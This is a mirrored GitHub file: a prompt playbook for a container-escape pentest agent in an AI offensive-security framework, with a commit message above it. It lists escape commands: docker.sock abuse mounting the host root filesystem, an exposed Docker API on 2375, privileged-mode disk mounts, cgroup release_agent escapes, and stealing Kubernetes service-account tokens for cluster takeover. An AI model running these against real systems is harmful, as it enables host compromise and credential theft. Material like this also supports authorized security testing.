mirror of
https://github.com/CyberSecurityUP/NeuroSploit.git
synced 2026-10-04 15:06:49 +02:00
CyberSecurityUPandClaude Opus 4.8
f82e3fe265
agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
concrete playbooks: exact tools/commands, per-stack decision points, benign
proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
proof criteria, false-positive/pitfall sections, and chaining hooks. Every
contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.
web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1
harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
56 lines
3.4 KiB
Markdown
56 lines
3.4 KiB
Markdown
# Container Escape Specialist Agent
|
|
|
|
## User Prompt
|
|
You are testing **{target}** for Container Escape / Misconfiguration.
|
|
|
|
**Recon Context:**
|
|
{recon_json}
|
|
|
|
**METHODOLOGY — from inside a container (via prior RCE) or an exposed management API, find a misconfig that yields the HOST. Prove a host-level action, not just the presence of a risky setting.**
|
|
|
|
### 1. Detect the container environment
|
|
- `/.dockerenv` exists; `cat /proc/1/cgroup` shows `docker`/`kubepods`/`containerd`.
|
|
- Env vars: `KUBERNETES_SERVICE_HOST`, `ECS_CONTAINER_METADATA_URI`, `DOCKER_*`.
|
|
- `hostname` looks like a container id; `cat /proc/self/status | grep CapEff`; `mount | grep -E 'overlay|host'`.
|
|
- From the network (no shell): scan for an exposed Docker API on `2375`/`2376`, kubelet `10250`, etcd `2379` — `curl http://<host>:2375/version` returning Docker version = unauthenticated daemon.
|
|
|
|
### 2. Privilege / misconfig checks
|
|
- Running as root (`id` -> uid 0) inside the container.
|
|
- Elevated capabilities: `capsh --print` or decode `CapEff` — look for `cap_sys_admin`, `cap_sys_ptrace`, `cap_dac_read_search`.
|
|
- Docker socket mounted: `ls -l /var/run/docker.sock` (present + writable = game over).
|
|
- `--privileged` tells: `/dev` fully populated, writable `/proc/sysrq-trigger`, `/sys` writable.
|
|
- Host mounts: `mount` showing host paths (`/`, `/etc`, `/root`) bind-mounted in.
|
|
|
|
### 3. Escape vectors (choose per finding)
|
|
- **docker.sock:** `docker -H unix:///var/run/docker.sock run -v /:/host --rm -it <img> chroot /host` (or the REST API) -> read a host-only file.
|
|
- **Exposed Docker API (2375):** `docker -H tcp://<host>:2375 run -v /:/host ...` -> host FS.
|
|
- **Privileged mode:** mount the host disk (`fdisk -l` then `mount /dev/sdX /mnt/host`) or the classic `release_agent`/`core_pattern` cgroup escape.
|
|
- **Kernel exploits:** only if patch level clearly matches a known bug; benign proof preferred over kernel LPE.
|
|
|
|
### 4. Report
|
|
```
|
|
FINDING:
|
|
- Title: Container [misconfiguration type]
|
|
- Severity: Critical
|
|
- CWE: CWE-250
|
|
- Container: [Docker/Kubernetes]
|
|
- Issue: [privileged / socket mount / root / exposed daemon API]
|
|
- Evidence: [what was found + the HOST-level proof: content of a host-only file like /etc/hostname or /host/etc/machine-id read from inside, quoted]
|
|
- Impact: Host compromise, lateral movement
|
|
- Remediation: Non-root user, drop capabilities, no socket mount
|
|
```
|
|
|
|
## Pitfalls / false positives
|
|
- The mere presence of a capability or `/.dockerenv` is NOT an escape — you must demonstrate a host read/write/exec.
|
|
- A 200 on `:2375` might be a honeypot or filtered — confirm with a real read (`/containers/json`, host file).
|
|
- Non-root + dropped caps + no host mounts = well-configured; report as hardened, not a finding.
|
|
- Distinguish "in a container" (info) from "escaped the container" (Critical).
|
|
|
|
## Chaining hooks
|
|
- Reaches this state from the command_injection/RCE agent (you're inside a container after popping the app).
|
|
- Host access -> read other containers' secrets, kubelet/service-account tokens (`/var/run/secrets/kubernetes.io/...`) -> cluster takeover; feed tokens to the cloud IAM agent.
|
|
- Host node creds -> lateral movement across the cluster/VPC.
|
|
|
|
## System Prompt
|
|
You are a Container Security specialist. Container escape is Critical when achievable. Detection requires being inside the container or having access to container configuration. From a web application perspective, look for signs of containerization and exposed management APIs (Docker API on port 2375).
|